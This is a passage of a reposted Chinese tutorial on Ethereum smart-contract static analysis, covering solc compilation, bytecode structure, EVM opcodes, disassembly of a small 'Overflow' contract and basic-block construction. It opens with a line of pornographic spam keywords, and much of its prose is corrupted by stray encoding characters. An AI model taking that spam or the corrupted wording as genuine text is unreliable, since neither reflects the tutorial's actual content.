日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

区块链安全-以太坊智能合约静态分析

發(fā)布時(shí)間:2025/3/15 编程问答 56 豆豆
生活随笔 收集整理的這篇文章主要介紹了 区块链安全-以太坊智能合约静态分析 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

概述

目前,以太坊智能合約的安全事件頻發(fā),從The DAO事件到最近的Fomo3D獎(jiǎng)池被盜,每次安全問(wèn)題的破壞力都是巨大的,如何正確防范智能合約的安全漏洞成了當(dāng)務(wù)之急。本文主要講解了如何通過(guò)對(duì)智能合約的靜態(tài)分析進(jìn)而發(fā)現(xiàn)智能合約中的漏洞。由于智能合約部署之后的更新和升級(jí)非常困難,所以在智能合約部署之前對(duì)其進(jìn)行靜態(tài)分析,檢測(cè)并發(fā)現(xiàn)智能合約中的漏洞,可以最大限度的保證智能合約部署之后的安全。

本文包含以下五個(gè)章節(jié):

  • 智能合約的編譯
  • 智能合約匯編指令分析
  • 從反編譯代碼構(gòu)建控制流圖
  • 從控制流圖開(kāi)始約束求解
  • 常見(jiàn)的智能合約漏洞以及檢測(cè)方法

第一章 智能合約的編譯

本章節(jié)是智能合約靜態(tài)分析的第一章,主要講解了智能合約的編譯,包括編譯環(huán)境的搭建、solidity編譯器的使用。

1.1 編譯環(huán)境的搭建

我們以Ubuntu系統(tǒng)為例,介紹編譯環(huán)境的搭建過(guò)程。首先介紹的是go-ethereum的安裝。

1.1.1 安裝go-ethereum

通過(guò)apt-get安裝是比較簡(jiǎn)便的安裝方法,只需要在安裝之前添加go-ethereum的ppa倉(cāng)庫(kù),完整的安裝命令如下:

sudo apt-get install software-properties-common sudo add-apt-repository -y ppa:ethereum/ethereum sudo apt-get update sudo apt-get install ethereum

安裝成功后,我們?cè)诿钚邢戮涂梢允褂胓eth,evm,swarm,bootnode,rlpdump,abigen等命令。

當(dāng)然,我們也可以通過(guò)編譯源碼的方式進(jìn)行安裝,但是這種安裝方式需要提前安裝golang的環(huán)境,步驟比較繁瑣。

1.1.2 安裝solidity編譯器

目前以太坊上的智能合約絕大多數(shù)是通過(guò)solidity語(yǔ)言編寫的,所以本章只介紹solidity編譯器的安裝。solidity的安裝和go-ethereum類似,也是通過(guò)apt-get安裝,在安裝前先添加相應(yīng)的ppa倉(cāng)庫(kù)。完整的安裝命令如下:

sudo add-apt-repository ppa:ethereum/ethereum sudo apt-get update sudo apt-get install solc

執(zhí)行以上命令后,最新的穩(wěn)定版的solidity編譯器就安裝完成了。之后我們?cè)诿钚芯涂梢允褂胹olc命令了。

1.2 solidity編譯器的使用

1.2.1 基本用法

我們以一個(gè)簡(jiǎn)單的以太坊智能合約為例進(jìn)行編譯,智能合約代碼(保存在test.sol文件)如下:

pragma solidity ^0.4.25; contract Test { }

執(zhí)行solc命令:solc --bin test.sol

輸出結(jié)果如下:

  • ======= test.sol:Test =======
  • Binary:
  • 6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029

solc命令的--bin選項(xiàng),用來(lái)把智能合約編譯后的二進(jìn)制以十六進(jìn)制形式表示。和--bin選項(xiàng)類似的是--bin-runtime,這個(gè)選項(xiàng)也會(huì)輸出十六進(jìn)制表示,但是會(huì)省略智能合約編譯后的部署代碼。接下來(lái)我們執(zhí)行solc命令:

solc --bin-runtime test.sol

輸出結(jié)果如下:

  • ======= test.sol:Test =======
  • Binary of the runtime part:
  • 6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029

對(duì)比兩次輸出結(jié)果不難發(fā)現(xiàn),使用--bin-runtime選項(xiàng)后,輸出結(jié)果的開(kāi)始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300,為何會(huì)少了這部分代碼呢,看完接下來(lái)的智能合約編譯后的字節(jié)碼結(jié)構(gòu)就明白了。

1.2.2 智能合約字節(jié)碼結(jié)構(gòu)

智能合約編譯后的字節(jié)碼,分為三個(gè)部分:部署代碼、runtime代碼、auxdata。

1.部署代碼:以上面的輸出結(jié)果為例,其中6080604052348015600f57600080fd5b50603580601d6000396000f300為部署代碼。以太坊虛擬機(jī)在創(chuàng)建合約的時(shí)候,會(huì)先創(chuàng)建合約賬戶,然后運(yùn)行部署代碼。運(yùn)行完成后它會(huì)將runtime代碼+auxdata 存儲(chǔ)到區(qū)塊鏈上。之后再把二者的存儲(chǔ)地址跟合約賬戶關(guān)聯(lián)起來(lái)(也就是把合約賬戶中的code hash字段用該地址賦值),這樣就完成了合約的部署。

2.runtime代碼:該例中6080604052600080fd00是runtime代碼。

3.auxdata:每個(gè)合約最后面的43字節(jié)就是auxdata,它會(huì)緊跟在runtime代碼后面被存儲(chǔ)起來(lái)。

solc命令的--bin-runtime選項(xiàng),輸出了runtime代碼和auxdata,省略了部署代碼,所以輸出結(jié)果的開(kāi)始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300。

1.2.3 生成匯編代碼

solc命令的--asm選項(xiàng)用來(lái)生成匯編代碼,接下來(lái)我們還是以最初的智能合約為例執(zhí)行solc命令,查看生成的匯編代碼。

執(zhí)行命令:solc --bin --asm test.sol

輸出結(jié)果如下:

======= test.sol:Test ======= EVM assembly: ... */ "test.sol":28:52 contract Test { mstore(0x40, 0x80) callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 * iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */ tag_1: ... */ "test.sol":28:52 contract Test { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { ... */ /* "test.sol":28:52 contract Test { mstore(0x40, 0x80) 0x0 dup1 revert auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029 }

由1.2.2小節(jié)可知,智能合約編譯后的字節(jié)碼分為部署代碼、runtime代碼和auxdata三部分。同樣,智能合約編譯生成的匯編指令也分為三部分:EVM assembly標(biāo)簽下的匯編指令對(duì)應(yīng)的是部署代碼;sub_0標(biāo)簽下的匯編指令對(duì)應(yīng)的是runtime代碼;sub_0標(biāo)簽下的auxdata和字節(jié)碼中的auxdata完全相同。由于目前智能合約文件并沒(méi)有實(shí)質(zhì)的內(nèi)容,所以sub_0標(biāo)簽下沒(méi)有任何有意義的匯編指令。

1.2.4 生成ABI

solc命令的--abi選項(xiàng)可以用來(lái)生成智能合約的ABI,同樣還是最開(kāi)始的智能合約代碼進(jìn)行演示。

執(zhí)行solc命令:solc --abi test.sol

輸出結(jié)果如下:

  • ======= test.sol:Test =======
  • Contract JSON ABI
  • []

可以看到生成的結(jié)果中ABI數(shù)組為空,因?yàn)槲覀兊闹悄芎霞s里并沒(méi)有內(nèi)容(沒(méi)有變量聲明,沒(méi)有函數(shù))。

1.3 總結(jié)

本章節(jié)主要介紹了編譯環(huán)境的搭建、智能合約的字節(jié)碼的結(jié)構(gòu)組成以及solc命令的常見(jiàn)用法(生成字節(jié)碼,生成匯編代碼,生成abi)。在下一章中,我們將對(duì)生成的匯編代碼做深入的分析。

第二章 智能合約匯編指令分析

本章是智能合約靜態(tài)分析的第二章,在第一章中我們簡(jiǎn)單演示了如何通過(guò)solc命令生成智能合約的匯編代碼,在本章中我們將對(duì)智能合約編譯后的匯編代碼進(jìn)行深入分析,以及通過(guò)evm命令對(duì)編譯生成的字節(jié)碼進(jìn)行反編譯。

2.1 以太坊中的匯編指令

為了讓大家更好的理解匯編指令,我們先簡(jiǎn)單介紹下以太坊虛擬機(jī)EVM的存儲(chǔ)結(jié)構(gòu),熟悉Java虛擬機(jī)的同學(xué)可以把EVM和JVM進(jìn)行對(duì)比學(xué)習(xí)。

2.1.1 以太坊虛擬機(jī)EVM

編程語(yǔ)言虛擬機(jī)一般有兩種類型,基于棧,或者基于寄存器。和JVM一樣,EVM也是基于棧的虛擬機(jī)。

既然是支持棧的虛擬機(jī),那么EVM肯定首先得有個(gè)棧。為了方便進(jìn)行密碼學(xué)計(jì)算,EVM采用了32字節(jié)(256比特)的字長(zhǎng)。EVM棧以字(Word)為單位進(jìn)行操作,最多可以容納1024個(gè)字。下面是EVM棧的示意圖:

??

2.1.2 以太坊的匯編指令集:

和JVM一樣,EVM執(zhí)行的也是字節(jié)碼。由于操作碼被限制在一個(gè)字節(jié)以內(nèi),所以EVM指令集最多只能容納256條指令。目前EVM已經(jīng)定義了約142條指令,還有100多條指令可供以后擴(kuò)展。這142條指令包括算術(shù)運(yùn)算指令,比較操作指令,按位運(yùn)算指令,密碼學(xué)計(jì)算指令,棧、memory、storage操作指令,跳轉(zhuǎn)指令,區(qū)塊、智能合約相關(guān)指令等。下面是已經(jīng)定義的EVM操作碼分布圖[1](灰色區(qū)域是目前還沒(méi)有定義的操作碼)

下面的表格中總結(jié)了常用的匯編指令:

操作碼匯編指令描述
0x00STOP結(jié)束指令
0x01ADD把棧頂?shù)膬蓚€(gè)值出棧,相加后把結(jié)果壓入棧頂
0x02MUL把棧頂?shù)膬蓚€(gè)值出棧,相乘后把結(jié)果壓入棧頂
0x03SUB從棧中依次出棧兩個(gè)值arg0和arg1,用arg0減去arg1,再把結(jié)果壓入棧頂
0x10LT把棧頂?shù)膬蓚€(gè)值出棧,如果先出棧的值小于后出棧的值則把1入棧,反之把0入棧
0x11GT和LT類似,如果先出棧的值大于后出棧的值則把1入棧,反之把0入棧
0x14EQ把棧頂?shù)膬蓚€(gè)值出棧,如果兩個(gè)值相等則把1入棧,否則把0入棧
0x15ISZERO把棧頂值出棧,如果該值是0則把1入棧,否則把0入棧
0x34CALLVALUE獲取交易中的轉(zhuǎn)賬金額
0x35CALLDATALOAD獲取交易中的input字段的值
0x36CALLDATASIZE獲取交易中input字段的值的長(zhǎng)度
0x50POP把棧頂值出棧
0x51MLOAD把棧頂出棧并以該值作為內(nèi)存中的索引,加載內(nèi)存中該索引之后的32字節(jié)到棧頂
0x52MSTORE從棧中依次出棧兩個(gè)值arg0和arg1,并把a(bǔ)rg1存放在內(nèi)存的arg0處
0x54SLOAD把棧頂出棧并以該值作為storage中的索引,加載該索引對(duì)應(yīng)的值到棧頂
0x55SSTORE從棧中依次出棧兩個(gè)值arg0和arg1,并把a(bǔ)rg1存放在storage的arg0處
0x56JUMP把棧頂值出棧,并以此值作為跳轉(zhuǎn)的目的地址
0x57JUMPI從棧中依次出棧兩個(gè)值arg0和arg1,如果arg1的值為真則跳轉(zhuǎn)到arg0處,否則不跳轉(zhuǎn)
0x60PUSH1把1個(gè)字節(jié)的數(shù)值放入棧頂
0x61PUSH2把2個(gè)字節(jié)的數(shù)值放入棧頂
0x80DUP1復(fù)制當(dāng)前棧中第一個(gè)值到棧頂
0x81DUP2復(fù)制當(dāng)前棧中第二個(gè)值到棧頂
0x90SWAP1把棧中第一個(gè)值和第二個(gè)值進(jìn)行調(diào)換
0x91SWAP2把棧中第一個(gè)值和第三個(gè)值進(jìn)行調(diào)換

2.2 智能合約匯編分析

在第一章中,為了便于入門,我們分析的智能合約文件并不包含實(shí)質(zhì)的內(nèi)容。在本章中我們以一個(gè)稍微復(fù)雜的智能合約為例進(jìn)行分析。智能合約(保存在test.sol文件中)代碼如下:

pragma solidity ^0.4.25; contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; assert(sellerBalance >= value); } }

2.2.1 生成匯編代碼

執(zhí)行solc命令:solc --asm --optimize test.sol,其中--optimize選項(xiàng)用來(lái)開(kāi)啟編譯優(yōu)化

輸出的結(jié)果如下:

  • EVM assembly:
  • ... */ "test.sol":26:218 contract Overflow {
  • mstore(0x40, 0x80)
  • /* "test.sol":78:79 0 */
  • 0x0
  • /* "test.sol":51:79 uint private sellerBalance=0 */
  • dup1
  • sstore
  • ... */ "test.sol":26:218 contract Overflow {
  • callvalue
  • /* "--CODEGEN--":8:17 */
  • dup1
  • /* "--CODEGEN--":5:7 */
  • iszero
  • tag_1
  • jumpi
  • /* "--CODEGEN--":30:31 */
  • 0x0
  • /* "--CODEGEN--":27:28 */
  • dup1
  • /* "--CODEGEN--":20:32 */
  • revert
  • /* "--CODEGEN--":5:7 */
  • tag_1:
  • ... */ "test.sol":26:218 contract Overflow {
  • pop
  • dataSize(sub_0)
  • dup1
  • dataOffset(sub_0)
  • 0x0
  • codecopy
  • 0x0
  • return
  • stop
  • sub_0: assembly {
  • ... */ /* "test.sol":26:218 contract Overflow {
  • mstore(0x40, 0x80)
  • jumpi(tag_1, lt(calldatasize, 0x4))
  • and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
  • 0x1003e2d2
  • dup2
  • eq
  • tag_2
  • jumpi
  • tag_1:
  • 0x0
  • dup1
  • revert
  • ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
  • tag_2:
  • callvalue
  • /* "--CODEGEN--":8:17 */
  • dup1
  • /* "--CODEGEN--":5:7 */
  • iszero
  • tag_3
  • jumpi
  • /* "--CODEGEN--":30:31 */
  • 0x0
  • /* "--CODEGEN--":27:28 */
  • dup1
  • /* "--CODEGEN--":20:32 */
  • revert
  • /* "--CODEGEN--":5:7 */
  • tag_3:
  • pop
  • ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
  • tag_4
  • calldataload(0x4)
  • jump(tag_5)
  • tag_4:
  • /* 省略部分代碼 */
  • tag_5:
  • /* "test.sol":122:126 bool */
  • 0x0
  • /* "test.sol":144:166 sellerBalance += value */
  • dup1
  • sload
  • dup3
  • add
  • dup1
  • dup3
  • sstore
  • /* "test.sol":122:126 bool */
  • dup2
  • swap1
  • /* "test.sol":184:206 sellerBalance >= value */
  • dup4
  • gt
  • iszero
  • /* "test.sol":177:207 assert(sellerBalance >= value) */
  • tag_7
  • jumpi
  • invalid
  • tag_7:
  • ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
  • swap2
  • pop
  • swap2
  • jump // out
  • auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029
  • }

回顧第一章我們得知,智能合約編譯生成的匯編指令分為三部分:EVM assembly標(biāo)簽下的匯編指令對(duì)應(yīng)的是部署代碼;sub_0標(biāo)簽下的匯編指令對(duì)應(yīng)的是runtime代碼,是智能合約部署后真正運(yùn)行的代碼。

2.2.2 分析匯編代碼

接下來(lái)我們從sub_0標(biāo)簽的入口開(kāi)始,一步步地進(jìn)行分析:

  • 最開(kāi)始處執(zhí)行mstore(0x40, 0x80)指令,把0x80存放在內(nèi)存的0x40處。

  • 第二步執(zhí)行jumpi指令,在跳轉(zhuǎn)之前要先通過(guò)calldatasize指令用來(lái)獲取本次交易的input字段的值的長(zhǎng)度。如果該長(zhǎng)度小于4字節(jié)則是一個(gè)非法調(diào)用,程序會(huì)跳轉(zhuǎn)到tag_1標(biāo)簽下。如果該長(zhǎng)度大于4字節(jié)則順序向下執(zhí)行。

  • 接下來(lái)是獲取交易的input字段中的函數(shù)簽名。如果input字段中的函數(shù)簽名等于"0x1003e2d2",則EVM跳轉(zhuǎn)到tag_2標(biāo)簽下執(zhí)行,否則不跳轉(zhuǎn),順序向下執(zhí)行tag_1。ps:使用web3.sha3("add(uint256)")可以計(jì)算智能合約中add函數(shù)的簽名,計(jì)算結(jié)果為0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,之后取前四字節(jié)"0x1003e2d2"作為add函數(shù)的簽名。

  • 在tag_2標(biāo)簽中,首先執(zhí)行callvalue指令,該指令獲取交易中的轉(zhuǎn)賬金額,如果金額是0,則執(zhí)行接下來(lái)的jumpi指令,就會(huì)跳轉(zhuǎn)到tag_3標(biāo)簽。ps:因?yàn)閍dd函數(shù)沒(méi)有payable修飾,導(dǎo)致該函數(shù)不能接受轉(zhuǎn)賬,所以在調(diào)用該函數(shù)時(shí)會(huì)先判斷交易中的轉(zhuǎn)賬金額是不是0。

  • 在tag_3標(biāo)簽中,會(huì)把tag_4標(biāo)簽壓入棧,作為函數(shù)調(diào)用完成后的返回地址,同時(shí)calldataload(0x4)指令會(huì)把交易的input字段中第4字節(jié)之后的32字節(jié)入棧,之后跳轉(zhuǎn)到tag_5標(biāo)簽中繼續(xù)執(zhí)行。

  • 在tag_5標(biāo)簽中,會(huì)執(zhí)行add函數(shù)中的所有代碼,包括對(duì)變量sellerBalance進(jìn)行賦值以及比較變量sellerBalance和函數(shù)參數(shù)的大小。如果變量sellerBalance的值大于函數(shù)參數(shù),接下來(lái)會(huì)執(zhí)行jumpi指令跳轉(zhuǎn)到tag_7標(biāo)簽中,否則執(zhí)行invalid,程序出錯(cuò)。

  • 在tag_7標(biāo)簽中,執(zhí)行兩次swap2和一次pop指令后,此時(shí)的棧頂是tag_4標(biāo)簽,即函數(shù)調(diào)用完成后的返回地址。接下來(lái)的jump指令會(huì)跳轉(zhuǎn)到tag_4標(biāo)簽中執(zhí)行,add函數(shù)的調(diào)用就執(zhí)行完畢了。
  • 2.3 智能合約字節(jié)碼的反編譯

    在第一章中,我們介紹了go-ethereum的安裝,安裝完成后我們?cè)诿钚兄芯涂梢允褂胑vm命令了。下面我們使用evm命令對(duì)智能合約字節(jié)碼進(jìn)行反編譯。

    需要注意的是,由于智能合約編譯后的字節(jié)碼分為部署代碼、runtime代碼和auxdata三部分,但是部署后真正執(zhí)行的是runtime代碼,所以我們只需要反編譯runtime代碼即可。還是以本章開(kāi)始處的智能合約為例,執(zhí)行solc --asm --optimize test.sol?命令,截取字節(jié)碼中的runtime代碼部分:

    • 608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600

    把這段代碼保存在某個(gè)文件中,比如保存在test.bytecode中。

    接下來(lái)執(zhí)行反編譯命令:evm disasm test.bytecode

    得到的結(jié)果如下:

    • 00000: PUSH1 0x80
    • 00002: PUSH1 0x40
    • 00004: MSTORE
    • 00005: PUSH1 0x04
    • 00007: CALLDATASIZE
    • 00008: LT
    • 00009: PUSH1 0x3e
    • 0000b: JUMPI
    • 0000c: PUSH4 0xffffffff
    • 00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
    • 0002f: PUSH1 0x00
    • 00031: CALLDATALOAD
    • 00032: DIV
    • 00033: AND
    • 00034: PUSH4 0x1003e2d2
    • 00039: DUP2
    • 0003a: EQ
    • 0003b: PUSH1 0x43
    • 0003d: JUMPI
    • 0003e: JUMPDEST
    • 0003f: PUSH1 0x00
    • 00041: DUP1
    • 00042: REVERT
    • 00043: JUMPDEST
    • 00044: CALLVALUE
    • 00045: DUP1
    • 00046: ISZERO
    • 00047: PUSH1 0x4e
    • 00049: JUMPI
    • 0004a: PUSH1 0x00
    • 0004c: DUP1
    • 0004d: REVERT
    • 0004e: JUMPDEST
    • 0004f: POP
    • 00050: PUSH1 0x58
    • 00052: PUSH1 0x04
    • 00054: CALLDATALOAD
    • 00055: PUSH1 0x73
    • 00057: JUMP
    • 00058: JUMPDEST
    • 00059: PUSH1 0x40
    • 0005b: DUP1
    • 0005c: MLOAD
    • 0005d: SWAP3
    • 0005e: ISZERO
    • 0005f: ISZERO
    • 00060: DUP4
    • 00061: MSTORE
    • 00062: PUSH1 0x20
    • 00064: DUP4
    • 00065: ADD
    • 00066: SWAP2
    • 00067: SWAP1
    • 00068: SWAP2
    • 00069: MSTORE
    • 0006a: DUP1
    • 0006b: MLOAD
    • 0006c: SWAP2
    • 0006d: DUP3
    • 0006e: SWAP1
    • 0006f: SUB
    • 00070: ADD
    • 00071: SWAP1
    • 00072: RETURN
    • 00073: JUMPDEST
    • 00074: PUSH1 0x00
    • 00076: DUP1
    • 00077: SLOAD
    • 00078: DUP3
    • 00079: ADD
    • 0007a: DUP1
    • 0007b: DUP3
    • 0007c: SSTORE
    • 0007d: DUP2
    • 0007e: SWAP1
    • 0007f: DUP4
    • 00080: GT
    • 00081: ISZERO
    • 00082: PUSH1 0x86
    • 00084: JUMPI
    • 00085: Missing opcode 0xfe
    • 00086: JUMPDEST
    • 00087: SWAP2
    • 00088: POP
    • 00089: SWAP2
    • 0008a: JUMP
    • 0008b: STOP

    接下來(lái)我們把上面的反編譯代碼和2.1節(jié)中生成的匯編代碼進(jìn)行對(duì)比分析。

    2.3.1 分析反編譯代碼

  • 反編譯代碼的00000到0003d行,對(duì)應(yīng)的是匯編代碼中sub_0標(biāo)簽到tag_1標(biāo)簽之間的代碼。MSTORE指令把0x80存放在內(nèi)存地址0x40地址處。接下來(lái)的LT指令判斷交易的input字段的值的長(zhǎng)度是否小于4,如果小于4,則之后的JUMPI指令就會(huì)跳轉(zhuǎn)到0x3e地址處。對(duì)比本章第二節(jié)中生成的匯編代碼不難發(fā)現(xiàn),0x3e就是tag_1標(biāo)簽的地址。接下來(lái)的指令獲取input字段中的函數(shù)簽名,如果等于0x1003e2d2則跳轉(zhuǎn)到0x43地址處。0x43就是匯編代碼中tag_2標(biāo)簽的地址。
  • 反編譯代碼的0003e到00042行,對(duì)應(yīng)的是匯編代碼中tag_1標(biāo)簽內(nèi)的代碼。
  • 反編譯代碼的00043到0004d行,對(duì)應(yīng)的是匯編代碼中tag_2標(biāo)簽內(nèi)的代碼。0x43地址對(duì)應(yīng)的指令是JUMPDEST,該指令沒(méi)有實(shí)際意義,只是起到占位的作用。接下來(lái)的CALLVALUE指令獲取交易中的轉(zhuǎn)賬金額,如果金額是0,則執(zhí)行接下來(lái)的JUMPI指令,跳轉(zhuǎn)到0x4e地址處。0x4e就是匯編代碼中tag_3標(biāo)簽的地址。
  • 反編譯代碼的0004e到00057行,對(duì)應(yīng)的是匯編代碼中tag_3標(biāo)簽內(nèi)的代碼。0x4e地址對(duì)應(yīng)的指令是JUMPDEST。接下來(lái)的PUSH1 0x58指令,把0x58壓入棧,作為函數(shù)調(diào)用完成后的返回地址。之后的JUMP指令跳轉(zhuǎn)到0x73地址處。0x73就是匯編代碼中tag_5標(biāo)簽的地址。
  • 反編譯代碼的00058到00072行,對(duì)應(yīng)的是匯編代碼中tag_4標(biāo)簽內(nèi)的代碼。
  • 反編譯代碼的00073到00085行,對(duì)應(yīng)的是匯編代碼中tag_5標(biāo)簽內(nèi)的代碼。0x73地址對(duì)應(yīng)的指令是JUMPDEST,之后的指令會(huì)執(zhí)行add函數(shù)中的所有代碼。如果變量sellerBalance的值大于函數(shù)參數(shù),接下來(lái)會(huì)執(zhí)行JUMPI指令跳轉(zhuǎn)到0x86地址處,否則順序向下執(zhí)行到0x85地址處。這里有個(gè)需要注意的地方,在匯編代碼中此處顯示invalid,但在反編譯代碼中,此處顯示Missing opcode 0xfe。
  • 反編譯代碼的00086到0008a行,對(duì)應(yīng)的是匯編代碼中tag_7標(biāo)簽內(nèi)的代碼。
  • 0008b行對(duì)應(yīng)的指令是STOP,執(zhí)行到此處時(shí)整個(gè)流程結(jié)束。
  • 2.4 總結(jié)

    本章首先介紹了EVM的存儲(chǔ)結(jié)構(gòu)和以太坊中常用的匯編指令。之后逐行分析了智能合約編譯后的匯編代碼,最后反編譯了智能合約的字節(jié)碼,把反編譯的代碼和匯編代碼做了對(duì)比分析。相信讀完本章之后,大家基本上能夠看懂智能合約的匯編代碼和反編譯后的代碼。在下一章中,我們將介紹如何從智能合約的反編譯代碼中生成控制流圖(control flow graph)。

    第三章 從反編譯代碼構(gòu)建控制流圖

    本章是智能合約靜態(tài)分析的第三章,第二章中我們生成了反編譯代碼,本章我們將從這些反編譯代碼出發(fā),一步一步的構(gòu)建控制流圖。

    3.1 控制流圖的概念

    3.1.1 基本塊(basic block)

    基本塊是一個(gè)最大化的指令序列,程序執(zhí)行只能從這個(gè)序列的第一條指令進(jìn)入,從這個(gè)序列的最后一條指令退出。

    構(gòu)建基本塊的三個(gè)原則:

  • 遇到程序、子程序的第一條指令或語(yǔ)句,結(jié)束當(dāng)前基本塊,并將該語(yǔ)句作為一個(gè)新塊的第一條語(yǔ)句。
  • 遇到跳轉(zhuǎn)語(yǔ)句、分支語(yǔ)句、循環(huán)語(yǔ)句,將該語(yǔ)句作為當(dāng)前塊的最后一條語(yǔ)句,并結(jié)束當(dāng)前塊。
  • 遇到其他語(yǔ)句直接將其加入到當(dāng)前基本塊。
  • 3.1.2 控制流圖(control flow graph)

    控制流圖是以基本塊為結(jié)點(diǎn)的有向圖G=(N, E),其中N是結(jié)點(diǎn)集合,表示程序中的基本塊;E是結(jié)點(diǎn)之間邊的集合。如果從基本塊P的出口轉(zhuǎn)向基本塊塊Q,則從P到Q有一條有向邊P->Q,表示從結(jié)點(diǎn)P到Q存在一條可執(zhí)行路徑,P為Q的前驅(qū)結(jié)點(diǎn),Q為P的后繼結(jié)點(diǎn)。也就代表在執(zhí)行完結(jié)點(diǎn)P中的代碼語(yǔ)句后,有可能順序執(zhí)行結(jié)點(diǎn)Q中的代碼語(yǔ)句[2]。

    3.2 構(gòu)建基本塊

    控制流圖是由基本塊和基本塊之間的邊構(gòu)成,所以構(gòu)建基本塊是控制流圖的前提。接下來(lái)我們以反編譯代碼作為輸入,分析如何構(gòu)建基本塊。

    第二章中的反編譯代碼如下:

    • 00000: PUSH1 0x80
    • 00002: PUSH1 0x40
    • 00004: MSTORE
    • 00005: PUSH1 0x04
    • 00007: CALLDATASIZE
    • 00008: LT
    • 00009: PUSH1 0x3e
    • 0000b: JUMPI
    • 0000c: PUSH4 0xffffffff
    • 00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
    • 0002f: PUSH1 0x00
    • 00031: CALLDATALOAD
    • 00032: DIV
    • 00033: AND
    • 00034: PUSH4 0x1003e2d2
    • 00039: DUP2
    • 0003a: EQ
    • 0003b: PUSH1 0x43
    • 0003d: JUMPI
    • 0003e: JUMPDEST
    • 0003f: PUSH1 0x00
    • 00041: DUP1
    • 00042: REVERT
    • 00043: JUMPDEST
    • 00044: CALLVALUE
    • 00045: DUP1
    • 00046: ISZERO
    • 00047: PUSH1 0x4e
    • 00049: JUMPI
    • 0004a: PUSH1 0x00
    • 0004c: DUP1
    • 0004d: REVERT
    • 0004e: JUMPDEST
    • 0004f: POP
    • 00050: PUSH1 0x58
    • 00052: PUSH1 0x04
    • 00054: CALLDATALOAD
    • 00055: PUSH1 0x73
    • 00057: JUMP
    • 00058: JUMPDEST
    • 00059: PUSH1 0x40
    • 0005b: DUP1
    • 0005c: MLOAD
    • 0005d: SWAP3
    • 0005e: ISZERO
    • 0005f: ISZERO
    • 00060: DUP4
    • 00061: MSTORE
    • 00062: PUSH1 0x20
    • 00064: DUP4
    • 00065: ADD
    • 00066: SWAP2
    • 00067: SWAP1
    • 00068: SWAP2
    • 00069: MSTORE
    • 0006a: DUP1
    • 0006b: MLOAD
    • 0006c: SWAP2
    • 0006d: DUP3
    • 0006e: SWAP1
    • 0006f: SUB
    • 00070: ADD
    • 00071: SWAP1
    • 00072: RETURN
    • 00073: JUMPDEST
    • 00074: PUSH1 0x00
    • 00076: DUP1
    • 00077: SLOAD
    • 00078: DUP3
    • 00079: ADD
    • 0007a: DUP1
    • 0007b: DUP3
    • 0007c: SSTORE
    • 0007d: DUP2
    • 0007e: SWAP1
    • 0007f: DUP4
    • 00080: GT
    • 00081: ISZERO
    • 00082: PUSH1 0x86
    • 00084: JUMPI
    • 00085: Missing opcode 0xfe
    • 00086: JUMPDEST
    • 00087: SWAP2
    • 00088: POP
    • 00089: SWAP2
    • 0008a: JUMP
    • 0008b: STOP

    我們從第一條指令開(kāi)始分析構(gòu)建基本塊的過(guò)程。00000地址處的指令是程序的第一條指令,根據(jù)構(gòu)建基本塊的第一個(gè)原則,將其作為新的基本塊的第一條指令;0000b地址處是一條跳轉(zhuǎn)指令,根據(jù)構(gòu)建基本塊的第二個(gè)原則,將其作為新的基本塊的最后一條指令。這樣我們就把從地址00000到0000b的代碼構(gòu)建成一個(gè)基本塊,為了之后方便描述,把這個(gè)基本塊命名為基本塊1。

    接下來(lái)0000c地址處的指令,我們作為新的基本塊的第一條指令。0003d地址處是一條跳轉(zhuǎn)指令,根據(jù)構(gòu)建基本塊的第二個(gè)原則,將其作為新的基本塊的最后一條指令。于是從地址0000c到0003d就構(gòu)成了一個(gè)新的基本塊,我們把這個(gè)基本塊命名為基本塊2。

    以此類推,我們可以遵照構(gòu)建基本塊的三個(gè)原則構(gòu)建起所有的基本塊。構(gòu)建完成后的基本塊如下圖所示:

    圖中的每一個(gè)矩形是一個(gè)基本塊,矩形的右半部分是為了后續(xù)描述方便而對(duì)基本塊的命名(當(dāng)然你也可以命名成自己喜歡的名字)。矩形的左半部分是基本塊所包含的指令的起始地址和結(jié)束地址。當(dāng)所有的基本塊都構(gòu)建完成后,我們就把之前的反編譯代碼轉(zhuǎn)化成了11個(gè)基本塊。接下來(lái)我們將構(gòu)建基本塊之間的邊。

    3.3 構(gòu)建基本塊之間的邊

